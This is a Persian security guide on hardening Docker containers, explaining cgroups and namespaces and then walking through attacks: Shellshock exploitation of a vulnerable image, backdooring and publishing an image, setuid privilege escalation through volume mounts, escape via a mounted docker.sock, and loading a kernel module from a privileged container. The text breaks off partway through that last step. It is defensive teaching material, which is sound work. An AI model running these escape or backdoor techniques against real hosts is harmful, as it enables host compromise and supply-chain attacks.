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 1 ها  Docker Containerامن سازی 

 

 ها Docker Containerهای امن سازی با هک و راه آشنایی  مستند:

 مرکز ماهر  : تهیه کننده

 برنامه نویسان و مدیران شبکه  مخاطبین:
 

 مقدمه  1

  ل یها تبد سازمان   اتیمهم و پرکاربرد در توسعه و عمل  ی از ابزارها  ی کیبه    Dockerاطلاعات،    ی در عصر فناور 

به سرعت در حال گسترش    Docker  ینرهایاستفاده از کانت  ، یفناور  نیفراوان ا  یایشده است. با توجه به مزا

به    ز ین  ی د یجد   یتی امن  ی دهایدارد، خطرات و تهد  یی ایمزا  د یجد   ی حال، همانطور که هر فناور   ن یاست. با ا

  ی کربند یپ کی گرفته شود، چرا که  ده یناد د یاست که نبا ی موضوع Docker ینرها یکانت  تیهمراه دارد. امن

 کل سازمان منجر شود.   یو حت هارساختیدر ز  یجد  یها ب یبه آس  تواند ی نادرست م

.  شودی پرداخته م  Docker  ی نرهایکانت  یسازامن   ی و نحوه   Docker  ی ت یامن  یمبان   ی مقاله، به بررس   ن یا  در

در مقابل    Docker  یهاط یمحافظت از مح  یلازم برا  یهااست که خوانندگان با اصول و روش   نیهدف ا

همچن  داتیتهد  شوند.  آشنا  مختلف  حملات  تجرب  ن،یو  مرور  شب  یعمل  اتیبا  حملات  شده،   یسازه یو 

ارائه    Docker  ینرهایکانت  یمنیو بهبود سطح ا  ی تیاز بروز مشکلات امن  یری جلوگ  ی موثر برا  یراهکارها

 . شودی م

خواهند داشت و    Docker  ینرهایحفاظت از کانت  یهااز روش   یمقاله، خوانندگان درک بهتر   نیا  انیپا  با

 تر استفاده کنند.و مطمئن  ترمن یبه صورت ا Docker یهاط یقادر خواهند بود از مح

 Docker ی معرف 2

Docker  به    و  شودی استفاده م  عاملستمیدر سطح س   یسازی انجام مجاز   ی باز است که براپلتفرم متن   کی

را   ینریکانت یهابرنامه  تیریاجرا و مد  جاد،یپلتفرم امکان ا نی. اشودی شناخته م زین یسازی نریعنوان کانت

 هستند.  یمجاز  ای ی کیزیف  یاجرا ط یکه مستقل از مح کند ی فراهم م 
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 های مجازیکانتینرها و ماشینتفاوت میان  

عامل  های مجازی در نحوه استفاده از هسته سیستمها میان کانتینرها و ماشینترین تفاوت یکی از اساسی

کنند که هر کدام  های مجازی استفاده میهای مجازی از یک هایپروایزر برای ایجاد محیط است. ماشین

های مجازی حجم بیشتری داشته باشند  شود ماشینث می عامل مجزا هستند. این موضوع باعدارای سیستم 

 و نیازمند منابع بیشتری باشند.

نیازی به سیستم عامل میزبان استفاده می از هسته سیستم  Dockerدر مقابل، کانتینرهای   و  عامل کنند 

های مجازی باشند و  تر از ماشینتر و سریع شود که کانتینرها بسیار سبکمجزا ندارند. این ویژگی باعث می 

ها آن   پذیر کانتینرها،های انعطاف طور همزمان از منابع کمتری استفاده کنند. این مزیت در کنار قابلیت به 

 دهندگان تبدیل کرده است.آل برای توسعه را به یک گزینه ایده 

 (  Cgroupsهای کنترل )گروه 

cgroups   های حیاتی هسته لینوکس است که به  های کنترل، یکی از ویژگی یا گروهDocker   دهد  اجازه می

هایی بر  توان محدودیت ، می cgroupsطور مؤثر مدیریت کند. با استفاده از  منابع سیستم را بین کانتینرها به 

اعمال کرد تا مطمئن شد که هیچ کانتینری بیش از حد    I/Oو    CPU  ،RAMروی استفاده از منابعی مانند  

 شود.کند و در نتیجه ثبات و امنیت سیستم حفظ می از منابع استفاده نمی 

cgroups  های  نین اعمال محدودیت به عنوان یک ابزار مدیریتی، امکان تخصیص منابع به کانتینرها و همچ

شود که بتوان از تخریب سیستم توسط یک کانتینر  کند. این موضوع باعث می گیرانه را فراهم می سخت

های توان تعداد پردازش پرمصرف جلوگیری کرد و عملکرد کلی سیستم را بهبود بخشید. به عنوان مثال، می 

 جلوگیری شود.  DOSز مشکلاتی مانند حملات ( در یک کانتینر را محدود کرد تا از بروPIDsهمزمان )

 (Namespacesفضاهای نام ) 

است. این ویژگی از هسته  (  namespaces)، فضاهای نام  Dockerترین مفاهیم در امنیت  یکی از کلیدی 

برای    namespaceاز چندین نوع    Dockerکند.  لینوکس، ایزولاسیون بین کانتینرها و میزبان را تضمین می

 توان به موارد زیر اشاره کرد:ها می کند که از جمله آن جداسازی منابع مختلف استفاده می 

● PID namespace  کانتینرها و میزبان. : برای ایزوله کردن فرآیندها بین 

● NET namespace های شبکه. : برای مدیریت و ایزوله کردن رابط 
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● IPC namespace( برای ایزوله کردن دسترسی به منابع ارتباط بین پردازشی :IPC .) 

● MNT namespace .برای مدیریت و ایزوله کردن نقاط اتصال فایل سیستم : 

● UTS namespaceعامل.هسته و نسخه سیستم های : برای ایزوله کردن شناسه 

● User namespace .برای ایزوله کردن مجوزهای کاربر بین کانتینرها و میزبان : 

 User namespaceایزولاسیون با استفاده از   2-3-1

User namespace  ترین و مفیدترین انواع  یکی از مهمnamespaces    است که امکان ایزوله کردن مجوزهای

داخل کانتینر به یک کاربر با   rootسازی این ویژگی، کاربر کند. با فعالکاربر در داخل کانتینر را فراهم می 

پایین  دسترسی  می سطح  نگاشت  میزبان  در  می تر  باعث  موضوع  این  با  شود.  کانتینر  اگر  حتی  که  شود 

 ا بر روی میزبان تأثیری نداشته باشد.اجرا شود، این مجوزه rootمجوزهای 

کند که در  استفاده می   etc/subgid/و    etc/subuid/های  از فایل   داکر ،User namespaceسازی  برای فعال 

امکان    Dockerهای مجاز برای هر کاربر مشخص شده است. این تنظیمات به  GIDو    UIDی  ها محدوده آن

و از این طریق    سترسی محدود در میزبان نگاشت کند دهد که کاربران داخل کانتینر را به کاربران با دمی 

 امنیت سیستم میزبان را افزایش دهد. 

 هاDocker Imageسازی و مدیریت ذخیره 

Docker Imageاجرایی سبک و مستقلی هستند که شامل همه چیزهایی که برای اجرای یک  های  ها، بسته

در سیستم    Imageباشند. این  ها، ابزارهای سیستم و تنظیمات، می برنامه نیاز است، از جمله کد، کتابخانه 

 شود. استفاده می Imageد و هر زمان که یک کانتینر جدید اجرا شود، از شومیزبان ذخیره می 

از چندین لایه تشکیل شده است که هر لایه شامل تغییرات خاصی نسبت به لایه قبلی    Docker Imageهر  

 dockerتوانند با استفاده از دستوراتی مانند  شوند و می ها در سیستم فایل میزبان ذخیره می است. این لایه 

inspect    وdocker history    به بالای  مشاهده شوند. هنگام اجرای یک کانتینر، یک لایه نوشتنی جدید 

 شود.شود که تغییرات داخل کانتینر در آن ذخیره می اضافه می  Docker Imageهای لایه
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 Dockerحملات به کانتینرهای  3

از جالب  با بحث در مورد سطح حمله  ترین بخشاین بخش یکی  آغاز   Dockerها است. ما این فصل را 

دهیم. به طور  های عملی توضیح می ها را با مثالپردازیم و آن کنیم. سپس به هر دسته از حملات می می 

تکنیک  ویژگی خاص،  برخی  از  و سوءاستفاده  افزایش دسترسی  کانتینر،  از  فرار  مانند   Dockerی  ها های 

Docker Remote API  .را بررسی خواهیم کرد 

 Dockerهای سطوح حمله 

Docker  با ریسک نادرست،  قابل توجهی همراه است.  به دلیل نحوه عملکردش، در صورت استفاده  های 

افزایش دهند. این امر به این دلیل    rootتوانند دسترسی خود را به سطح  می   Dockerکاربران عضو گروه  

  Dockerنیاز دارد و هر کسی که عضو گروه    rootبرای کار کردن به مجوزهای سطح    Dockerست که  ا

شود  طور مستقل استفاده نمی به  Dockerتواند این مجوزها را به دست آورد. در یک محیط نهایی،  باشد می

 رود. به کار می  Dockerبرای مدیریت کانتینرهای  Kubernetesارکستراتور مانند  و معمولاً یک

 

 : معماری داکر و جایگاه مهاجم نسبت به آن 1شکل 

 دهد:را نشان می  Dockerنقاط ورودی احتمالی برای حمله به  2شکل 



 5 ها  Docker Containerامن سازی 

 

 

 : نقاط حمله به داکر کانتینرها2شکل 

مهاجمان خارجی، حملات از سوی کاربران  این نقاط ورودی شامل خدمات قابل دسترسی از راه دور برای  

 پذیر هستند.مخرب داخلی و حملات به کانتینرهای آسیب 

می  خارجی  مهاجم  برنامه یک  که  صورتی  در  می تواند  اجرا  کانتینر  داخل  در  که  دارای  ای  شود 

تینر دسترسی  ( باشد، به کانRCEبرداری از راه دور مانند اجرای کد از راه دور )های قابل بهره پذیریآسیب

 پیدا کند.  

بر روی    rootراحتی دسترسی  توانند به هستند، می   Dockerطور مشابه، کاربران داخلی که عضو گروه  به 

 شود، به دست آورند.  روی آن اجرا می  Dockerمیزبان که 

پذیری مانند اجرای کد از راه دور دسترسی پیدا  در نهایت، وقتی مهاجمی به کانتینر از طریق یک آسیب

های نادرست استفاده کند تا از کانتینر فرار کند و به میزبان  ها یا پیکربندی تواند از سایر ناپایداریکند، می 

باشند، جایی که قربانی بدون آگاهی    توانند مشکلی دیگرنیز می   Image backdoorزیرین دسترسی یابد.  

 دهد. به کانتینرهای خود می  shellبه مهاجم دسترسی 

 های بعدی بررسی خواهیم کرد. های عملی همه این حملات را در بخش با مثال

 پذیر های آسیب imageبرداری از بهره   3-1-1

Image    ها معمولاً از مخازن عمومی مانندDocker Hub   شوند. به عنوان مثال،  یا مخازن خصوصی دانلود می

خود را در این مخزن    imageتواند  می  Docker Hubهر کسی با داشتن یک حساب کاربری رایگان در  
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نام شده، دارای  کاربران ثبتآپلود شده توسط     Imageعمومی آپلود کند. بنابراین، این احتمال وجود دارد که

 د. باش   سهویعمدی یا  پذیریها  وجود این آسیب  د که ممکن استهای شناخته شده عمومی باش پذیریآسیب

ها روی آن   Dockerهایی که  توانند به مهاجمان اجازه دهند تا به کانتینرها و میزبان ها میپذیریاین آسیب

 Dockerپذیر را از  آسیب  imageتوانیم یک  یش این موضوع، می شود، دسترسی پیدا کنند. برای نمااجرا می 

Hub  برداری کرد.  توان از آن بهره و ببینیم چگونه می  برداشته 

از   تگ    imageما  می   vulnerables/cve-2014-6217با  آسیب استفاده  به  مربوط  که  پذیری  کنیم 

Shellshock  .است  Shellshock   پذیری در پوسته  یک آسیبbash  ها مانند که بسیاری از سرویس   باشد می

HTTP، SMTP  وSSH پذیری زمانی که منتشر شد، سر و صدای را تحت تأثیر قرار داده است. این آسیب

توانید به منابع آنلاین  پذیری هستید، می زیادی به پا کرد. اگر به دنبال جزئیات بیشتری درباره این آسیب

 وطه مراجعه کنید.مرب

نام   به  دایرکتوری  یک  شروع،  دستو  shellshockبرای  از  استفاده  با  و  کرده  آن  ایجاد  وارد  مربوطه  رات 

مورد نظر را دانلود کرده و یک کانتینر را اجرا    docker run،   Imageبا استفاده از دستور    شویم. سپسمی 

 کنیم.می 

، صحت اجرای  localhost:8080توانیم با باز کردن مرورگر و وارد کردن پس از دانلود و اجرای کانتینر، می 

پذیری  برداری از آسیبتوانیم به سراغ بهره برنامه را بررسی کنیم. اگر برنامه به درستی اجرا شده باشد، می 

Shellshock  .برویم 

 

 Shellshock: اثبات اجرای کانتینر مربوط به 3شکل 

نویسنده    payloadیک   توسط  فایل    Docker imageکه  از سرور    passwdارائه شده است، محتویات  را 

 کنیم تا نتیجه را مشاهده کنیم. را در یک ترمینال جدید اجرا می  payloadدهد. این نمایش می 
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 ShellShockپذیری کانتینر  : بهره برداری از آسیب 4شکل 

شود. در این مثال، سرور  از سرور به ما نمایش داده می   passwd، محتویات فایل  payloadپس از اجرای  

Docker Container   دهد که چقدر مهم است از  ایم. این نشان می است که ما به آن دسترسی پیدا کرده

Image   های امنیتی لازم را قبل از استفاده از هر  امن و معتبر استفاده کنیم و بررسیDocker image   انجام

 دهیم. 

  Imageدر  Backdoorود چک کردن وج  3-1-2

Image Docker  د. این  افزارهای مخرب باش بایل حاوی نرم های دسکتاپ و مود مانند برنامهتوانمیImage 

عنوان   به  و  شده  آلوده  مهاجمان  توسط  است  مجدداً    Imageممکن  مخزن  مشروع  شو در  این  آپلود  د. 

Imageهای تولیدی بسیار خطرناک باشند. اهمیت بررسی امنیتی توانند در محیط مخرب می  یهاImage 

Dockerها نباید نادیده گرفته شود.ها و استفاده از مخازن خصوصی و مطمئن در سازمان 

توانیم  موجود با کد مخرب است. برای این کار می   imageهدف ما در این بخش آلوده کردن یک داکر     

 مراحل زیر را دنبال کنیم. 

 ایجاد کنید.  "backdoor". ابتدا یک دایرکتوری جدید به نام ۱
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را نصب کنید. این ابزار برای فرآیند پشتیبانی از تصاویر داکر به صورت خودکار طراحی    Dockerscan. ابزار  2

 کند.تر می شده است و کار را بسیار ساده

 
 "ubuntu-original"ی تصویر اوبونتو را دانلود کنید و آن را به نام  ، آخرین نسخه Docker. با استفاده از  ۳ 

 ذخیره کنید.  

 
توانیم  استفاده کنید. به عنوان مثال، می   imageبرای تزریق کد مخرب به این    Dockerscan. سپس، از  ۴

 افه کنیم.  اوبونتو اض imageمخرب به   shellیک 

 
تا در صورت اجرا توسط دیگران،    در دسترس عموم قرار داد شده را  آلوده   imageاین    توان. در نهایت، می ۵

 به ما دسترسی بدهد. 
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افزودن   برای  روش  یک  تنها  روش   backdoorاین  و  است  داکر  تصاویر  دارند.  به  وجود  نیز  دیگری  های 

شود برای امنیت بیشتر، فقط از منابع معتبر و رسمی تصاویر استفاده کنید و تصاویر را  همچنین توصیه می 

 قبل از استفاده بررسی کنید. 

سناریوی    راحتی با کد مخرب آلوده شوند. در یکتوانند به موجود می   imageما بحث کردیم که چگونه  

منتشر کند. این    Docker Hubرا در یک رجیستری مانند    imageتواند این  واقعی، یک عامل مخرب می 

دهد، به  های سازمانی را نشان می وضوح اهمیت داشتن یک رجیستری داکر خصوصی در محیط موضوع به 

های  ها. همچنین، داشتن کنترل پذیریو آسیب   backdoorبرای شناسایی    imageهمراه نیاز به بررسی داکر  

ر محیط سازمانی منتشر کند، مهم  را در رجیستری تصاویر د  imageتواند  کافی روی اینکه چه کسی می

 است. 

 volume mountافزایش سطح دسترسی با استفاده از   3-1-3

توانند با استفاده از  هستند می   Dockerخواهیم ببینیم چگونه کاربرانی که عضو گروه  در این بخش، می 

کر  دهنده دابرسند. مهم است که بدانید سرویس  rootحملات افزایش سطح دسترسی، به سطح دسترسی  

(Docker daemon  برای انجام برخی عملیات به دسترسی )root   دهنده با دسترسی  نیاز دارد و این سرویس

root   شود. بنابراین اگر یک کاربر عضو گروه  اجرا میDocker   تواند سطح دسترسی خود را به  باشد، میroot  

را اجرا    rootتوانید دستورات  می ارتقا دهد. بنابراین، اگر در سیستمی با سطح دسترسی پایین هستید و ن

 برسید. rootتوانید به سطح دسترسی هستید، می  Dockerکنید، اما عضو گروه 

 برای دستیابی به این هدف استفاده خواهیم کرد.  setuidهای داکر و باینری  volumeدر اینجا از 

volume  توانیم یک  ست. می داکر راهی برای فراهم کردن حافظه پایدار برای کانتینرهای داکر اvolume    از

 سازی پایدار به یک کانتینر متصل کنیم. سیستم میزبان را برای ذخیره

روی آن تنظیم شده باشد، حتی    setuidایجاد شده و بیت    rootزمانی که یک فایل باینری توسط کاربر  

 اجرا خواهد شد. rootوقتی توسط یک کاربر با سطح دسترسی پایین اجرا شود، به عنوان 

 نیاز دارید که در ادامه آورده شده است.   shellscript.shو  Dockerfile, shell.cبرای انجام این حمله به 

 

• Dockerfile 

 

 

• shell.c  
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• shellscript.sh  

 

 ساخته شود. shellکامپایل کنید تا فایل اجرایی  gccرا با دستور   shell.cدر ادامه فایل 

 
 

 مربوطه را بسازید.  imageحال 

 

را اجرا کند. این فایل اجرایی    shellscript.shکند، دستور قبلی باید فایل  وقتی کانتینیر شروع به کار می 

 دهد. ( کپی کرده و مجوز های فایل را تغییر می shared directoryی مشترک )را به پوشه   shellباینری  
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  suidو بیت   باشد می  rootموجود و متعلق به  shellشویم که فایل متوجه می  /tmp/sharedحال با بررسی 

بدون  اجرا شود  توسط هر کاربری با دسترسی محدود  است. بنابراین اگر این فایل    برای آن تنظیم شده 

 .خواهد شد اجرا  rootهای با دسترسی بررسی سطح دسترسی اجرا کننده 

 

 
 

به  )به عنوان کاربری با دسترسی محدود( توانستیم  ما    shellفایل  توان دید که با اجرای  در تصویر بالا می

پیدا   دست  روت  دسترسی  با  شل  می.  کنیمیک  مشاهده  که  توانسته همانطور  فایل  کنید  محتویات  ایم 

shadow   .را هم ببینیم. این حمله به این دلیل کار کرد که یک حجم از میزبان را به کانتینر متصل کردیم

شوند. بنابراین، تمام کاری که  ( اجرا می rootکانتینرها با دسترسی ریشه )  فرض، فرآیندها در صورت پیشبه 

و سطح دسترسی ریشه ایجاد کنیم    setuid( با بیت  binaryباید انجام دهیم این است که یک فایل اجرایی )

ر  در میزبان ظاه   setuidعنوان یک باینری با بیت  شده بنویسیم. این فایل سپس به و آن را در حجم متصل 

 . خواهد شد 

 docker.sockگریز از کانتینر با استفاده از  3-1-4

و    آشنا شویم  نرهایداکر به کانت   UNIXنحوه اتصال سوکت    قبل از معرفی این آسیب پذیری بهتر است با

یک سوکت    Docker socket  . دهیمقرار    یرا مورد بررس   یژگ یو  نیا  یاز موارد استفاده برا   یبرخ  نیهمچن

UNIX   کند. زمانی که هر دستوری را در  عنوان ستون اصلی مدیریت کانتینرها عمل می است که بهDocker 

CLI  می کلاینت  وارد  سوکت    Docker CLIکنید،  این  طریق  از  سرویس   UNIXشما  داکر  با  دهنده 

(Docker daemon ارتباط برقرار می ) تواند از طریق شبکه و روی یک  کند. در حالی که این سوکت می

صورت به  UNIXپورت خاص برای اجرای دستورات داکر از راه دور باز شود، ارتباط با استفاده از سوکت  

 فرض تنظیم شده است.پیش

کنید،  ها اجرا می ا با استفاده از آنرا از اینترنت دانلود کرده و کانتینرهایی ر  هاImageزمانی که برخی از  

  mountرا روی کانتینر    «var/run/docker.sock/»از شما بخواهد که مسیر    Imageممکن است نویسنده  
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کنید. این درخواست ممکن است به دلایل منطقی باشد، اما باید از خطراتی که این ویژگی به همراه دارد،  

 آگاه باشیم. 

 تواند به شرح زیر باشد: برخی از دلایل معتبر برای این کار می 

خواهید از داخل آن کانتینر، سایر کانتینرها را مدیریت  کنید و می فرض کنید که یک کانتینر را اجرا می 

داکر نیاز دارید. همچنین، ممکن است شما یک ابزار را    UNIXکنید؛ برای این کار به دسترسی به سوکت  

اندازی کنید. زمانی  شوند، راه سی و ممیزی تمام کانتینرهای داکر که روی سیستم میزبان اجرا می برای برر

داکر دارد تا بتواند    UNIXشود، نیاز به دسترسی به سوکت  عنوان یک کانتینر داکر اجرا می که این ابزار به 

 با سایر کانتینرهای موجود روی میزبان ارتباط برقرار کند.

 

روی کانتینر هستند،    «var/run/docker.sock/» ها برخی از دلایل منطقی برای نصب مسیر  یندر حالی که ا

 طور که قبلاً ذکر شد، باید همواره از خطراتی که ممکن است به همراه داشته باشد، آگاه باشیم. همان

عنوان یک  فرض کنیم که به .  کنیممی  بررسی یک دمو از چگونگی سوءاستفاده از این ویژگی را    در ادامه 

ایم. با داکر به آن متصل است، دسترسی پیدا کرده   UNIXمهاجم، به یک شل در یک کانتینر که سوکت  

استفاده از این شل که در داخل کانتینر است، باید بتوانیم به فایلی که بر روی ماشین میزبان قرار دارد و  

ما سعی خواهیم کرد به فایلی به  در این سناریو  .  بیمدست یاقابل دسترسی است،      rootفقط توسط کاربر  

 که در دایرکتوری ریشه میزبان قرار دارد، دسترسی پیدا کنیم.    crackme.txtنام 

نام   به  به    کردهایجاد    dockersockابتدا یک دایرکتوری  تغییر   dockersockو دایرکتوری کاری خود را 

  دهیم.  می

شویم که سوکت داکر به  میآوریم و مطمئن  میدست  و یک شل در کانتینر به   کرده سازی  حمله را شبیه 

استفاده خواهیم کرد. بنابراین، بیایید دستور زیر   image alpineکانتینر متصل است. ما برای این تمرین از 

 ضافه شده است.به سیستم اجرا شده ا Docker.sockدر اجرای این کانتینر را اجرا کنیم.  

 

دست  برای به   docker psتوانیم ببینیم که کانتینر شروع به اجرا کرده است. از دستور  از تصویر فوق، می 

 آوردن شناسه کانتینر استفاده کنید.  

  ادامه   در .  به دست آوردیم  کانتینر   در   شل   یک  زیر  دستور   به کمک.  است  3570ce8a4068شناسه کانتینر  

 . در کانتینر اجرا شده وجود دارد نظر مورد سوکتتوان دید که تصویر می
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داکر به کانتینر متصل شده است. برای استفاده از این سوکت    UNIXکند که سوکت  تصویر قبلی تأیید می 

 داکر در این کانتینر نصب شده باشد.  CLIداکر، نیاز داریم که کلاینت  

داکر در  میبررسی   آیا سوکت  که  کردن دستور    image alpineکنیم  تایپ  با  یا خیر  است  در دسترس 

docker  .خروجی زیر را خواهیم گرفت . 

 
شویم که سوکت داکر در دسترس نیست. قبل از نصب داکر، باید با استفاده از  از تصویر قبلی، متوجه می 

 را انجام دهیم:    apkروزرسانی دستور زیر به 

 به شکل زیر است.  alpineاجرای این دستور در کانتینر  

 

 کنیم:   داکر وارد می CLIسپس دستور زیر را برای نصب کلاینت 

 

توانیم دستورات داکر را از درون کانتینر اجرا  می   شود و حالداکر کامل می   CLIبا این کار، نصب کلاینت  

توانیم به سادگی یک کانتینر دیگر  کنیم. با استفاده از این کلاینت داکر و سوکت داکر متصل به کانتینر، می 

اندازی شده متصل کنیم و سپس  ری ریشه میزبان را به کانتینر تازه راه اندازی کرده و دایرکتوروی میزبان راه 
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دست آوریم تا بتوانیم به دایرکتوری ریشه میزبان دسترسی پیدا کنیم. برای این  یک شل روی آن کانتینر به 

 کنیم:   کار دستور زیر را وارد می 

 

  v-  گزینه   از   و   شده  مشخص   است،  var/run/docker.sock/داکر که    UNIXدر این دستور، مکان سوکت  

  در   testاندازی هستیم و با نام  برای متصل کردن دایرکتوری ریشه میزبان تحت کانتینری که در حال راه 

  متصل   کانتینر   در   test  نام  به   دایرکتوری  به   میزبان  ریشه  دایرکتوری   بنابراین،.  است  شده  استفاده   کانتینر

بر    تصادفی  نوشتن  از  تا  است  خواندن  برای  فقط   دایرکتوری  این  که  داشت  خواهیم  اطمینان  ما  و  شد   خواهد 

ر جدیدی  نشود تا مستقیماً شل در کانتیعنوان آرگومان وارد می به   shروی میزبان جلوگیری شود. در نهایت،  

 دست آوریم.   کنیم، به اندازی می که اکنون راه 

ایم  ریشه میزبان را متصل کرده   دایرکتوری   ما  که   است  جایی  جااین   زیرا  برویم،   testحالا بیایید به دایرکتوری  

 .  گرفت خواهیم را  زیر  خروجی. کنیم وارد را  lsو دایرکتوری خود را به ریشه تغییر دهیم و دستور 

 

 UNIXی استفاده از سوکت  در میزبان است را بخوانیم. این نحوه   rootما توانستیم فایلی که متعلق به کاربر  

دست داکر است که به کانتینر متصل شده تا بتوانیم به میزبان داکر دسترسی پیدا کنیم و نفوذ اولیه را به 

   آوریم. 

دسترسی داشت    Docker.sockداخلی که به یک کانتینر دارای سوکت  مهاجم    دیدیم که  ویسنار  ایندر  

 .میزبان دست یابد  root به  توانست از حفره موجود استفاده کرده و

 نوشتن در فضای کرنل از داخل کانتینر    3-1-5

آشنا شده و  در داکر    privileged  برای آشنایی با این حفره امنیتی در داکر ها لازم است که ابتدا با ویژگی 

و سپس به خطرات آن و مواردی که هنگام استفاده    را بررسی کنیمکانتینرهای داکر  دلایل استفاده از آن در  

 پردازیم.   ها توجه کنیم، می از این سوییچ باید به آن 
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های لینوکس به آن کانتینر  شود، تمام قابلیت یک کانتینر استفاده می  در  privileged  ویژگی   هنگامی که

ها که از طریق سوییچ  تواند از این قابلیت شود. اگر یک مهاجم به این کانتینر دسترسی پیدا کند، می اده می د

privileged  داشته باشد و به میزبان دسترسی   کند به کانتینر داده شده، استفاده کرده و از کانتینر فرار   . 

کند، ابتدا یک کانتینر را  کانتینر اضافه می های بیشتری به یک  چگونه قابلیت  privilegedبرای درک اینکه 

کنیم. سپس یک  های آن کانتینر را بررسی میکنیم و سپس قابلیت اجرا می   privilegedبدون استفاده از  

خواهیم کرد تا تفاوت  های آن را بررسی  اجرا کرده و دوباره لیست قابلیت  privilegedکانتینر را با سوییچ  

 .   این دو کانتینر مشخص شود

 کنیم:   می اندازی راهزیر به شکل  image Alpineیک کانتینر را با استفاده از  

بالا، می   از پرچم  در دستور  ببینیم که  این    privilegedتوانیم  نکرده  imageبا  بررسی  استفاده  برای  ایم. 

 استفاده کنیم.   capsh –printستور  دهای کاربر در این کانتینر میتوانیم از  لیست قابلیت 

 

ها های این کانتینر برای کاربر دقت کنیم، تنها تعداد محدودی از قابلیت ، اگر به لیست قابلیتبالادر تصویر  

توان برای  های بسیاری است که می اند. این فقط بخشی از قابلیت فرض به این کانتینر داده شده طور پیشبه 

  کنیم میکپی    capabilities.txtآمده را در فایلی به نام  دست های به لیست قابلیتداشت.  در نظر    rootکاربر  

 تا بعدا بتوانیم تفاوت دسترسی ها دو کانتینر را با هم مقایسه کنیم. 

 کنیم.  اجرا می  privilegedاکنون از کانتینر خارج شده و یک کانتینر جدید را با پرچم 
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 .میکنی اجرا م نر یکانت  نیرا در ا capshمانند قبل، دستور نصب 

 

تر  مقایسه با لیستی که از کانتینر قبلی داشتیم، طولانی بینیم، این لیست در  طور که در تصویر می همان

محتوای  کنیم.  می ذخیره    capabilities.txtفایل    ادامه   های این کانتینر را کپی کرده و دراست. دوباره قابلیت 

از فایل مربوط به قابلیت های موجود در کانتینر اول    container 1فایل اکنون به شرح زیر است. بخش  

-( میPrivilegedمربوط به کانتینر دوم )دارای ویژگی    container 2( و بخش  Privilegedگی  )بدون ویژ 

 اشد. ب

 
قبلی می همان تصویر  در  که  پرچم  طور  با  را  کانتینری  وقتی  می راه   privilegedبینیم،  این  اندازی  کنیم، 

 کند.   های بیشتری دریافت می فرض قابلیت کانتینر نسبت به حالت پیش 
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قابلیت افزودن  از این ویژگی و  باید پرسید که چرا استفاده  اما  های بیشتر به یک کانتینر ممکن است  و 

های بیشتر دسترسی  ساز است زیرا اگر مهاجمی به کانتینری با قابلیت این مسئله مشکلمشکل ساز شود.  

های مخرب مختلف استفاده کرده و در نهایت از کانتینر  ها برای انجام فعالیت تواند از این قابلیتپیدا کند، می 

 فرار کرده و به ماشین میزبان دسترسی پیدا کند.  

 `cap_sys_module`و    `cap_sys_ptrace`هایی مانند  ، قابلیت به کانتینر  های اضافه شدهقابلیت  در لیست

از آن مهاجم می   و  بسیار خطرناک هستند  ادامه    . استفاده کند در راستای اهداف مخرب خود  ها  تواند  در 

یک ماژول کرنل را به کرنل    `cap_sys_module`تواند با استفاده از قابلیت  بینیم که مهاجم چگونه میمی 

 اشین میزبان بارگذاری کند.م

ادامه  دهد. در  تعداد زیادی قابلیت به کانتینر می   privilegedمتوجه شدیم که پرچم  تا اینجای توضیحات  

اندازی راه   cap_sys_moduleیا قابلیت    privilegedکنیم که اگر کانتینر با پرچم  بخش، بررسی می   این

 تواند انجام دهد.   شود، یک مهاجم چه کارهایی می 

فعال باشد، امکان بارگذاری    cap_sys_moduleزمانی که مهاجم به شل کانتینر دسترسی پیدا کند و قابلیت  

 مستقیم یک ماژول کرنل روی کرنل میزبان از داخل کانتینر وجود دارد.  

کنیم و  ایجاد می   kernelmoduleیک دایرکتوری جدید به نام    برای شروع، یک ترمینال جدید باز کرده و 

 را ایجاد کنید.  Makefileو   docker_module.cرویم. دو فایل به آن دایرکتوری می 

 

#include <linux/init.h> 

#include <linux/module.h> 

#include <linux/kernel.h> 

static int __init docker_module_init(void) { 

printk(KERN_INFO "Docker module has been loaded\n"); 

return 0; 

} 

static void __exit docker_module_exit(void) { 

printk(KERN_INFO "Docker module has been unloaded\n"); 

} 

module_init(docker_module_init); 

module_exit(docker_module_exit); 

  

 نیز به شرح زیر خواهد بود:  Makefileمحتویات 

 

obj-m += docker_module.o 
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all: 

make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) 

modules 

clean: 

make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) 

clean 

 

. این ماژول ساده برای نشان دادن  است  ماژول کرنل است که هنوز کامپایل نشده   docker_module.cفایل  

قابلیت   با داشتن  از داخل کانتینر ماژول می  cap_sys_moduleاین است که  بارگذاری  توانیم  های کرنل 

سازی شده که کار مخربی را انجام ندهد و صرفا در صورت اضافه شدن به  به نحوی پیادهکنیم. این ماژول  

 کند: پیامی به این شکل در لاگ کرنل چاپ می کرنل 

 "Docker module has been loaded"هنگام بارگذاری:  •

 "Docker module has been unloaded"هنگام حذف از کرنل:  •

هایی برای  های کرنل افزونه کنید، باید بدانید که ماژول های کرنل کار می اگر برای اولین بار است که با ماژول 

پس از کامپایل  میتوان ماژول کرنل نوشته شده را کامپایل کرد.    makeبا دستور    کرنل لینوکس هستند.  

فایل  ماژول کرنل   زیر   . شودمیتولید    ko.یک  تصویر  و  می   در  تولید شده  فایل جدید  توان دید که چند 

docker_module.ko    .کنیم استفاده  کانتینر  داخل  از  است  قرار  که  است  واقعی  کرنل   ماژول 

 
 

  بر روی آن فعال است   Privilegedی که ویژگی  حالا فرض کنیم که به عنوان یک مهاجم به شل کانتینر 

به شل    `docker exec`اندازی کرده و از طریق  ایم. برای تحقق این فرض، کانتینر را راهدسترسی پیدا کرده 

  ایم و آماده کردهکامپایل    خواهیم ماژول کرنلی که در ماشین میزبان خود . حالا می کنیممیدسترسی پیدا  

 بارگذاری کنیم.  در این کانتینر را 

ها به داخل کانتینر، آن را با  انتقال فایل   ما برای اولین مرحله انتقال ماژول کرنل به داخل کانتینر است.  

 کنیم.  میرمزگذاری کنیم و سپس در شل کانتینر اجرا  base64استفاده از 

و    رویم می، به محل قرارگیری ماژول کرنل  کرده اندازی یک ترمینال را راه به این منظور در سیستم میزبان  

 .   کنیممی دستور زیر را اجرا 
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کنیم. در ادامه به آن نیاز خواهیم  شود. متن حاصل را کپی میمی  د یماژول کرنل را تول  base64با دستور بالا  

کنیم  میدر کانتینر ایجاد   temp.koبه نام مثلا  یک فایل جدید   کرده وبه شل کانتینر سوئیچ  داشت. حال  

  Pasteرا    بودیم  که قبلاً کپی کرده   base64محتوای خروجی  «  cat > /tmp/temp.ko»دستور  اجرای  با    و  

